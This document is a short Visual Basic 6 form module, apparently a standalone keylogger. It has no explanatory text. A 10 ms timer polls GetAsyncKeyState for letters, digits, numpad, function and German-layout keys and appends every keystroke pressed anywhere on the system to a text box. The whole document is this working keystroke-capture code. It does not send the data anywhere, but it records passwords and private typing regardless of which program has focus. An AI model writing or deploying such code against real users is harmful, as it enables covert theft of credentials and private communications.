Option Explicit
 
Private Declare Function GetAsyncKeyState Lib "user32" _
        (ByVal vKey As Long) As Integer
 
Private Sub Form_Load()
   Timer1.Interval = 10
End Sub
 
Private Sub Timer1_Timer()
    Dim X As Long
 
    For X = 48 To 90
        If CompKey(X, UCase(Chr$(X))) Then Exit Sub
        If CompKey(X + 48, UCase("NUM " & Chr$(X))) Then Exit Sub
    Next X
 
    If CompKey(8, " {Backspace} ") Then Exit Sub
    If CompKey(9, "    ") Then Exit Sub
    If CompKey(13, vbCrLf) Then Exit Sub
    If CompKey(32, " ") Then Exit Sub
    If CompKey(186, "Ü") Then Exit Sub
    If CompKey(192, "Ö") Then Exit Sub
    If CompKey(219, "?") Then Exit Sub
    If CompKey(220, "^") Then Exit Sub
    If CompKey(211, "`") Then Exit Sub
    If CompKey(222, "Ä") Then Exit Sub
 
    For X = 112 To 127
        If CompKey(X, "F" & CStr(X - 111)) Then Exit Sub
    Next X
 
End Sub
 
Private Function CompKey(KCode As Long, KText As String) As Boolean
    Dim Result As Integer
 
    Result = GetAsyncKeyState(KCode)
    If Result = -32767 Then
            Text1.Text = Text1.Text & KText
            Text1.SelStart = Len(Text1.Text)
            CompKey = True
    Else
        CompKey = False
    End If
End Function